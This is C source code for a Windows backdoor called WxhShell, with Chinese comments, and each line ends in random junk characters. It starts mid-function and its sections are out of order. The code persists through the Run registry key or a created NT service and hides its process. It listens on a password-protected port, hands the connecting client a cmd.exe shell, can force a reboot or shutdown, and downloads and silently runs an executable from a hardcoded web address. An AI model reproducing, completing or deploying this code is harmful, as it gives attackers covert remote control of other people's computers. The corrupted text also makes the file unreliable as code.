    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }4?z<.V  
    if(Boot(SHUTDOWN)) j%gle%_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hb1eEn  
    else { w,t !<i  
    closesocket(wsh); g O/\Yi  
    ExitThread(0); QE721y   
    } k{bC3)'$#R  
    break; {gzVbZ#  
    } CW FE{  
  // 获取shell ),2|TlQ  
  case 's': { 8_M"lU0[  
    CmdShell(wsh); Q~`{^fo1  
    closesocket(wsh); P!lfk:M^;  
    ExitThread(0); T>, [V:  
    break; S$4 6YQ  
  } GQ sE5Vb  
  // 退出 SQ<{X/5  
  case 'x': { B[d%?L_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F:AVik  
    CloseIt(wsh); z Ece>=C  
    break; }taG/kE62  
    } 7@&kPh}PG  
  // 离开 ^_BjO(b'e  
  case 'q': { 4h T!DS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cGlpJ)'-{  
    closesocket(wsh); 8YQ7XB  
    WSACleanup(); `chD*@76I  
    exit(1); Ao\Im(?  
    break; ,lVQ-qw5  
        } 5>hXqNjP2  
  } @QE&D+NS  
  } VFKFO9  
D58RHgY[  
  // 提示信息 J|([(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H(Y1%@  
} N|/gwcKe  
  } E@-5L9eJ\  
gw$?&[wY  
  return; arvKJmD  
} R: [#OH.c  
H#G3CD2&  
// shell模块句柄 7c8`D;A-K  
int CmdShell(SOCKET sock) y[GqV_~?Y  
{ t+M'05-U2  
STARTUPINFO si; ; O ~%y'  
ZeroMemory(&si,sizeof(si)); QY*F(S,\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M^G9t*I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9U3.=J  
PROCESS_INFORMATION ProcessInfo; lHE \Z`  
char cmdline[]="cmd"; # hw;aQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Dn1Eov  
  return 0; h<qi[d4X  
} kV4L4yE  
+}eK8>2  
// 自身启动模式 c=aZ[  
int StartFromService(void) E&)o.l<h|  
{ m ;wj|@cF  
typedef struct %CqG/ol  
{ _|#P~Ft  
  DWORD ExitStatus; m= %KaRI  
  DWORD PebBaseAddress; +o35${  
  DWORD AffinityMask; !Z0S@]C  
  DWORD BasePriority; )S}.QrG  
  ULONG UniqueProcessId; Q]OR0-6<.  
  ULONG InheritedFromUniqueProcessId; WkV0,_(P  
}   PROCESS_BASIC_INFORMATION; ft~QVe!  
. HAFKB;  
PROCNTQSIP NtQueryInformationProcess; g"`jWSt7Q  
3N4kW[J2i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2iC BF-,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T "#DhEM  
?QtM|e  
  HANDLE             hProcess; ]C{N4Ni^Z  
  PROCESS_BASIC_INFORMATION pbi; .N7&Jy  
E+ /XKF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tH:?aP*2  
  if(NULL == hInst ) return 0; EJNHZ<  
5acC4v!T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #TcX5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yZb})4.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r]Lj@0F>8  
Oq(FV[N7t  
  if (!NtQueryInformationProcess) return 0; cQ3p|a `  
B_C."{G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }N:QB}7'_  
  if(!hProcess) return 0; y,`q6(&  
ygd*zy9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O9RnS\  
ry+|gCZ  
  CloseHandle(hProcess); _>^Y0C[?5  
BM5)SgK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~+PKWs'}F  
if(hProcess==NULL) return 0; lB7/oa1]>  
iz+,,UH  
HMODULE hMod; }4Q3S1|U  
char procName[255]; X@/X65=[  
unsigned long cbNeeded; Z1p%6f`  
w9Nk8OsL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &SPIu,  
M #%V%<  
  CloseHandle(hProcess); pV1 ;gqXNS  
0*j\i@  
if(strstr(procName,"services")) return 1; // 以服务启动 3f:]*U+O  
'1d0 *5+6k  
  return 0; // 注册表启动 Hi U/fi`  
} #v4^,$k>  
fT<3~Z>m  
// 主模块 {;o54zuKf  
int StartWxhshell(LPSTR lpCmdLine) qat'Vj,  
{ n.,ZgLx["  
  SOCKET wsl; .ts XQf  
BOOL val=TRUE; ~`5[Li:eP  
  int port=0; SN`L@/I  
  struct sockaddr_in door; nO;ox*Bk+8  
wkp$/IZKMj  
  if(wscfg.ws_autoins) Install(); Np;tpq~  
r l;Y7l  
port=atoi(lpCmdLine); Y 2^y73&k  
7w\!3pv  
if(port<=0) port=wscfg.ws_port; z_). -  
5G z~,_  
  WSADATA data; a;(,$q3M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^}kYJvqA  
-:wV3D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vkqfs4t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \2Kl]G(w%y  
  door.sin_family = AF_INET; aw7pr464  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {@s6ly].  
  door.sin_port = htons(port); $>Gf;k  
[3qJUJM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >f;oY9 {m  
closesocket(wsl); lxBcO/  
return 1; |r4&@)  
} ,pW^>J  
VotI5O $  
  if(listen(wsl,2) == INVALID_SOCKET) { \;+b1  
closesocket(wsl); 8:]5H}H i  
return 1; lg@q} ]1  
} F^!mgU X  
  Wxhshell(wsl); D:(h^R0;  
  WSACleanup(); 5KssfI a  
luz,z( v  
return 0; !m9g\8tE  
4ijZQ  
} vmW`}FKW  
4Cvo^k/I  
// 以NT服务方式启动 (e<p^T J]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `2'*E\   
{ f&X M|Bg  
DWORD   status = 0; + Cq&~<B  
  DWORD   specificError = 0xfffffff; eqpnh^0}d  
iT1HbAT]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w h^I|D?"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UQtG<W]<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d"+ _`d=`  
  serviceStatus.dwWin32ExitCode     = 0; vY,]f^F"  
  serviceStatus.dwServiceSpecificExitCode = 0; Tn$| Xa+:s  
  serviceStatus.dwCheckPoint       = 0; NE Z ]%  
  serviceStatus.dwWaitHint       = 0; w aDJ  
|8\et  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q}#H|@  
  if (hServiceStatusHandle==0) return; >~&7D`O  
y|WOw(#  
status = GetLastError(); CS"p3$7,  
  if (status!=NO_ERROR) P?y{ 9H*  
{ *Oy%($'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?[lKft  
    serviceStatus.dwCheckPoint       = 0; -AKbXkc~\  
    serviceStatus.dwWaitHint       = 0;  ur k@v  
    serviceStatus.dwWin32ExitCode     = status; ` $[`C/h  
    serviceStatus.dwServiceSpecificExitCode = specificError; [+:KIW<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r\|"j8  
    return; TJs@V>,  
  } ?QzN\f Y;  
~ o5h}OU"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `]<~lf  
  serviceStatus.dwCheckPoint       = 0; =}W)%Hldr.  
  serviceStatus.dwWaitHint       = 0; ralU9MN.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hPUYq7B  
} 3[To"You  
KYFkO~N  
// 处理NT服务事件,比如:启动、停止 zrur-i$N+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P"c7h7  
{ JI92Dc*o  
switch(fdwControl) McU]U 9:z  
{ hhOrO<(  
case SERVICE_CONTROL_STOP: e#4 iue7U  
  serviceStatus.dwWin32ExitCode = 0; Pu!%sGjD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;'|t>'0_  
  serviceStatus.dwCheckPoint   = 0; glWa?#1  
  serviceStatus.dwWaitHint     = 0; /A`Ly p#  
  { jt",\%j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)$yBzN  
  } $EuI2.o  
  return; {7FD-Q[tS  
case SERVICE_CONTROL_PAUSE: ~Q 1%DV.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pe7% 9  
  break; [kZe6gYP&  
case SERVICE_CONTROL_CONTINUE: ;#?+i`9'q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H3o Um1  
  break; 7ZgFCK,8m,  
case SERVICE_CONTROL_INTERROGATE: z^9df(  
  break; p"J\+R  
}; YCB=RT]&`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <' b%  
} ekuRGG  
+JL"Z4b@R}  
// 标准应用程序主函数 g ??@~\Ov  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0CUUgwA /  
{ lD)QB!*v  
Q,xKi|$r  
// 获取操作系统版本 ehls:)F  
OsIsNt=GetOsVer(); )Y,>cg:z~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^2um.`8  
`LCxxpHi|  
  // 从命令行安装 _6Fj&mw(u  
  if(strpbrk(lpCmdLine,"iI")) Install(); }U7 ><I  
8I=migaxP  
  // 下载执行文件 |;P9S  
if(wscfg.ws_downexe) { ?QCHkhU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y<-dd"\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0@8EIQxK"  
} ||k^pzj%  
]#x? [ F  
if(!OsIsNt) { B (dq$+4  
// 如果时win9x,隐藏进程并且设置为注册表启动 *Z"(K\1TH  
HideProc(); m.N/g,  
StartWxhshell(lpCmdLine); Z"G@I= Q(  
} KA$l.6&d  
else NFcMh+qnK  
  if(StartFromService())  zWIC4:  
  // 以服务方式启动 l]o&D))R  
  StartServiceCtrlDispatcher(DispatchTable); }x1p~N+;  
else  $mG&4Y  
  // 普通方式启动 /S+gh;2OC  
  StartWxhshell(lpCmdLine); l %{$CmG\  
G@igxnm}  
return 0; I- X|-  
} u!&Vbo? .B  
pjX')i<  
ryp@<}A]!d  
"J%/xj  
=========================================== 3EKqXXzOB  
(""1[XURQK  
c B9`U4<  
YkLEK|d  
O)!MWmr  
Ym*Ed[S  
" nzHsyL  
rTjV/~  
#include <stdio.h> G#;$;  
#include <string.h> P:y M j&)  
#include <windows.h> &Rx-zp&dJ  
#include <winsock2.h> 0SBiMTm  
#include <winsvc.h> g^DPb pWxu  
#include <urlmon.h> /a$RJ6t&3  
wg[D*a  
#pragma comment (lib, "Ws2_32.lib") X} v]iX  
#pragma comment (lib, "urlmon.lib") RWi~34r  
:jq   
#define MAX_USER   100 // 最大客户端连接数 DKfw8"L]  
#define BUF_SOCK   200 // sock buffer S:GX!6>  
#define KEY_BUFF   255 // 输入 buffer +[ 944n  
=?f\o*J)  
#define REBOOT     0   // 重启 ^w XXx=Xf  
#define SHUTDOWN   1   // 关机 )Aky:kM$  
L{\au5-4  
#define DEF_PORT   5000 // 监听端口 *gC6yQ2?  
6A]Ia4PL  
#define REG_LEN     16   // 注册表键长度 :8bz+3p  
#define SVC_LEN     80   // NT服务名长度 S 5Q$dAL  
{uRnZ/m  
// 从dll定义API Py[Z9KLX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y&k6Xhuao  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \$Nx`d aFi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iS^IqS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5/v@VUzH  
.)>DFGb>H  
// wxhshell配置信息 1dF=BR8  
struct WSCFG { Zv*Z^; X9  
  int ws_port;         // 监听端口 MKYXYR  
  char ws_passstr[REG_LEN]; // 口令 OIa =$l43C  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~E=.*: 5(  
  char ws_regname[REG_LEN]; // 注册表键名 (!U5B Hnd  
  char ws_svcname[REG_LEN]; // 服务名 r~uWr'}a}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GyOo$FW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cu0N/hBT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zF2GW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no joh=0nk;D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <=*xwI&q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q*oUd/F8  
1B;sSp.>  
}; 2rq)U+   
H|H!VPof]  
// default Wxhshell configuration Z4/rqU  
struct WSCFG wscfg={DEF_PORT, 40}8EP k)  
    "xuhuanlingzhe", yD+)!q"  
    1, [e+"G <>  
    "Wxhshell", ?+S&`%?  
    "Wxhshell", HPGi5rU  
            "WxhShell Service", XTD _q  
    "Wrsky Windows CmdShell Service", N6Fj} m&E  
    "Please Input Your Password: ", BOLG#}sm  
  1, MmBM\Dnv  
  "http://www.wrsky.com/wxhshell.exe", D84`#Xbi  
  "Wxhshell.exe" U<**Est  
    }; `<h}Ygo>k/  
WVp7H  
// 消息定义模块 fo$iV;x`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {4g1Wr5=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n_%JXm#\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w<<G}4~u|  
char *msg_ws_ext="\n\rExit."; z6 v RTY  
char *msg_ws_end="\n\rQuit."; Eoug/we  
char *msg_ws_boot="\n\rReboot..."; ;K[`o/#4"  
char *msg_ws_poff="\n\rShutdown..."; 'Lft\.C  
char *msg_ws_down="\n\rSave to "; kn_%'7  
m-lUgx7  
char *msg_ws_err="\n\rErr!"; Cyxt EzPp  
char *msg_ws_ok="\n\rOK!"; W :PGj0?  
cy)gN g  
char ExeFile[MAX_PATH]; 93yJAao9  
int nUser = 0; W;coi4   
HANDLE handles[MAX_USER]; q79)nhC F  
int OsIsNt; Z<Rz}8s  
xQC.ap  
SERVICE_STATUS       serviceStatus; ysfR@ sH7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <D4.kM  
?w1_.m|8u  
// 函数声明 e*e}X&|(g  
int Install(void); 2Av3.u8%u  
int Uninstall(void); `Y-uNJ'.N  
int DownloadFile(char *sURL, SOCKET wsh); /_?E0 r  
int Boot(int flag); }> k9]Y  
void HideProc(void); 3_2(L"S2  
int GetOsVer(void); ,ijgqEN  
int Wxhshell(SOCKET wsl); W$@q ~/E  
void TalkWithClient(void *cs); qn#\ro1H  
int CmdShell(SOCKET sock); _JA.~edqM  
int StartFromService(void); \Nu(+G?e  
int StartWxhshell(LPSTR lpCmdLine); |<\L B  
KUVsCmiT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dWE[*a\g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J4h7] qt  
uAR!JJ  
// 数据结构和表定义 FfN==2:b  
SERVICE_TABLE_ENTRY DispatchTable[] = ~wIVw}  
{ ehI*cf({  
{wscfg.ws_svcname, NTServiceMain}, Qw.""MLmN8  
{NULL, NULL}  ;uNcrv0J  
}; t<9oEjk["  
0 ]U ;5  
// 自我安装 &"fMiK3  
int Install(void) u4NMJnX  
{ PIn'tV  
  char svExeFile[MAX_PATH]; A5tY4?|  
  HKEY key; "g\  
  strcpy(svExeFile,ExeFile); J[;c}  
H1f){L97wR  
// 如果是win9x系统,修改注册表设为自启动 5.#r\' Z#  
if(!OsIsNt) { LpJ\OI*v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U?d1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Z $Ynar  
  RegCloseKey(key); Y4}!9x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{h1"q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dC_L~ }=  
  RegCloseKey(key); ;Yyg(Ex  
  return 0; Rk56H  
    } f .rz2)o  
  } _wKFT>  
} [kgT"?w=  
else { Q <EFd   
+O}6 8 N  
// 如果是NT以上系统,安装为系统服务 w`,[w,t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zWgNDYT~  
if (schSCManager!=0) fQlR;4QX]  
{ _L(6F T J  
  SC_HANDLE schService = CreateService ~d ~$fR  
  ( |&3m'"(  
  schSCManager, qi h7  
  wscfg.ws_svcname, d l@  
  wscfg.ws_svcdisp, ,2DKphh  
  SERVICE_ALL_ACCESS, "8J$7g@n@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  |X`xJL  
  SERVICE_AUTO_START, :#"gQ^YNp  
  SERVICE_ERROR_NORMAL, afv? z  
  svExeFile, =;0#F&  
  NULL, s%>>E!Qi_  
  NULL, V#^~JJW^  
  NULL, :^71,An >E  
  NULL, 3'Q H\t5  
  NULL b{s_cOr/  
  ); 0tm%Kd  
  if (schService!=0) :S0r)CNP  
  { rAwq$!xx  
  CloseServiceHandle(schService); Xdsd5 UUM  
  CloseServiceHandle(schSCManager); |dpOE<f[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VjSb>k   
  strcat(svExeFile,wscfg.ws_svcname); G6_Kid}"q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K7Kd{9-2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <)n1Z[4  
  RegCloseKey(key); Axhe9!Fm  
  return 0; K!"[,=u_  
    } X{o.mN  
  } n`? j. s  
  CloseServiceHandle(schSCManager); <w(UDZ  
} ;#P@(ZVT  
} "X g@X5BG  
m'XzZmI  
return 1; Hu|NS{Ke-  
} R{\vOw:*  
C;}~C:aJ  
// 自我卸载 +|).dm  
int Uninstall(void) E:T<mI?d  
{ {N[IjY  
  HKEY key; ~4'e)g.hG  
>,Zjlkh3  
if(!OsIsNt) { u^|XQWR$:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uJA8PfbD  
  RegDeleteValue(key,wscfg.ws_regname); oU% rP  
  RegCloseKey(key); l|^p;z: d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ez&v"J  
  RegDeleteValue(key,wscfg.ws_regname); Kjc"K36{L  
  RegCloseKey(key); \$T  
  return 0; )TFaG[tj  
  } VZ'[\3J  
} [MdVgJ9'  
} HvN!_}[  
else { _-x|g~pV*  
}RYr)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2B3H -`  
if (schSCManager!=0) ! pR&&uG  
{ J"yO\Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b/5?)!I  
  if (schService!=0) j1*'yvGM  
  { AcyiP   
  if(DeleteService(schService)!=0) { $IA(QC_]AO  
  CloseServiceHandle(schService); Oj\lg2Ck  
  CloseServiceHandle(schSCManager); HhhN8t  
  return 0; tm@&f  
  } L TZ3r/  
  CloseServiceHandle(schService); [0El z@.C  
  } ?<]BLkx  
  CloseServiceHandle(schSCManager); SGre[+m~m  
} \Pi\c~)Pr  
} MzL^u8  
#Gx%PQ`  
return 1; QxH%4 )?  
} rS\j9@=Y4  
fPZt*A__  
// 从指定url下载文件 $[T^ S  
int DownloadFile(char *sURL, SOCKET wsh) ' 7+x,TszI  
{ t*m04* }  
  HRESULT hr; CeSr~Ikg|  
char seps[]= "/"; 2Hw&}8  
char *token; !'wh hi  
char *file; D)U 9xA)J  
char myURL[MAX_PATH]; c [sydl  
char myFILE[MAX_PATH]; U BzX%:A  
Z,)4(#b =  
strcpy(myURL,sURL); jOa . h  
  token=strtok(myURL,seps); ^=.R#zrc  
  while(token!=NULL) /17Qhex  
  { F{0Z  
    file=token; BaZ$pO^  
  token=strtok(NULL,seps); 'FgBYy/  
  } P}29wrIZ  
8om6wALXB  
GetCurrentDirectory(MAX_PATH,myFILE); 7n9&@D3 :P  
strcat(myFILE, "\\"); ,dhJ\cQ~  
strcat(myFILE, file); Bha#=>4FU  
  send(wsh,myFILE,strlen(myFILE),0); '#!nK O2<  
send(wsh,"...",3,0); K'%2'd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zsFzF`[k  
  if(hr==S_OK) ;{EIx*<d  
return 0; }(A`aB_  
else y G)xsY V  
return 1; Xyy;BO:  
n^B9Mh @  
} 3}(6z"r  
1)pwR3(^Fz  
// 系统电源模块 ;>np2K<`  
int Boot(int flag) GK .^Gd  
{ 4~xKW2*`K  
  HANDLE hToken; H )hO/1 m  
  TOKEN_PRIVILEGES tkp; L[lX?g?Ob  
g"ha1<y<  
  if(OsIsNt) { y iO!ZT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dv -L!C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DXBc 7J  
    tkp.PrivilegeCount = 1; V 6I77z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fI"sdzu^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )UbPG`x8  
if(flag==REBOOT) { J9eOBom8e<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iGB1f*K%x  
  return 0; *;t\!XDgp  
} U;`C%vHff  
else { J|,Uu^7`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V[ju7\>$Z  
  return 0; \~ m\pf?  
} dp#JvZb  
  } 7f|8SB  
  else { F] e` -;  
if(flag==REBOOT) { bCMo8Xh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3}aKok"k  
  return 0; 2?P H||  
} %jk7JDvl  
else { ~hD!{([  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r5 tn'  
  return 0; X)oxNxZ[A  
} m%m<-.'-  
} 0DtewN{Z  
jq%%|J.x  
return 1; '&hz *yk  
} <G|i!Pm  
j5m KJC  
// win9x进程隐藏模块 !q\MXS($#u  
void HideProc(void) ]QKo>7%[  
{ YBh|\  
)U12Rshl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >[}lC7 z,  
  if ( hKernel != NULL ) R !g'zS'  
  { GWFF.Mo^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yq.<,b=87  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f~Y;ZvB  
    FreeLibrary(hKernel); 4`yE'%6.}  
  } ezimQ  
! Gob `# r  
return; YP E1s  
} "5<:Dj/W  
Kzwbr?&z  
// 获取操作系统版本 a+'k#m  
int GetOsVer(void) n*A?>NV  
{ a-e_q  
  OSVERSIONINFO winfo; "I)/|x\G*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V>Dqw!  
  GetVersionEx(&winfo); ^h\(j*/#X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F m?j-'  
  return 1; b@QCdi,u  
  else Fn>KdoByN  
  return 0; )<Fq}Q86  
} Zd5Jz+f  
'tTUro1~  
// 客户端句柄模块 R2Es~T  
int Wxhshell(SOCKET wsl) -pmb-#`M  
{ Gj_7wP$  
  SOCKET wsh; m)7Ql!l  
  struct sockaddr_in client; vB74r]'F  
  DWORD myID; r>: ~!o*  
Su/8P[q_  
  while(nUser<MAX_USER) {W+IUvn  
{ vf&_ N  
  int nSize=sizeof(client); KH$|wv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s&hJ[$i  
  if(wsh==INVALID_SOCKET) return 1; E1r-$gf_  
k5M5bH',  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IOA2/ WQu  
if(handles[nUser]==0) kEgpF{"%n  
  closesocket(wsh); M*!WXQlud  
else 7|5X> yt  
  nUser++; Ii9[[I  
  } F f{,zfN+3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BLN|QaZ  
3 daI_Nx>  
  return 0; acrR  
} AH{#RD  
cY5w,.Q/!  
// 关闭 socket LZ34x: ,C  
void CloseIt(SOCKET wsh) ;NOmI+t0w&  
{ ;,8 )%[  
closesocket(wsh); 3CzF@t;5  
nUser--; qk~m\U8r  
ExitThread(0); nb<e<>L  
} u,V_j|(e  
_tUh*"e&  
// 客户端请求句柄 aFaioE#h(  
void TalkWithClient(void *cs) W#)X@TlE  
{ F r!FV4  
-MRX@a^1  
  SOCKET wsh=(SOCKET)cs; 5JHWt<n{P  
  char pwd[SVC_LEN]; V/3@iOwD  
  char cmd[KEY_BUFF]; h;@c%Vm  
char chr[1]; qnCjNN  
int i,j; WBD?|Ss  
@9eN\b%I^H  
  while (nUser < MAX_USER) { cYp/? \  
dz?On\66  
if(wscfg.ws_passstr) { M8V c5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jd^Lnp6?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T|8:_4/l  
  //ZeroMemory(pwd,KEY_BUFF); @@j:z;^|  
      i=0; "OwK-  
  while(i<SVC_LEN) { ]5K+W  
/GVjesN  
  // 设置超时 cZJ5L>ox  
  fd_set FdRead; LSo*JO6  
  struct timeval TimeOut; tLi91)oG  
  FD_ZERO(&FdRead); g<@Q)p*ow  
  FD_SET(wsh,&FdRead); ),CKuq>  
  TimeOut.tv_sec=8; ? cXW\A(  
  TimeOut.tv_usec=0; 3.@LAF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ay!'MK0d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oYdE s&qq  
&?1O D5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2H;  
  pwd=chr[0]; dB6['z)2  
  if(chr[0]==0xd || chr[0]==0xa) { ,PmUl=  
  pwd=0; Nc &J%a  
  break; %3O))Ug5  
  } J%-4ZB"  
  i++; {G0=A~  
    } c<,LE@ V  
%&_^I*  
  // 如果是非法用户,关闭 socket !zvjgDlZv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PtYG%/s  
} IIT UM)  
41R6V>e@9J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?"*JV1 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9/! 1J  
<#J5.I 1  
while(1) { OLPY<ax  
$[}EV(#y  
  ZeroMemory(cmd,KEY_BUFF); F~i ~%f,  
4(s HUWT  
      // 自动支持客户端 telnet标准   d!w3LwZ  
  j=0; u7^(?"x  
  while(j<KEY_BUFF) { ;W+8X-B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  63 'X#S  
  cmd[j]=chr[0]; MT"&|Og  
  if(chr[0]==0xa || chr[0]==0xd) { )=sbrCl,C/  
  cmd[j]=0; =6qTz3t  
  break; ^GAJ9AF@(  
  } d&CpaOSu  
  j++; &&m3E=K!^  
    } /!2`pv  
H<[~V0=  
  // 下载文件 )l$}plT4  
  if(strstr(cmd,"http://")) { $'I&u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~uH_y-  
  if(DownloadFile(cmd,wsh)) zBlv?JwG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cdib{y<ji  
  else L-}J=n\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C+uW]]~I)  
  } |4g0@}nr+W  
  else { /W)A[jR  
=qc+sMo  
    switch(cmd[0]) { hrtz>qN  
  ! ig& 8:  
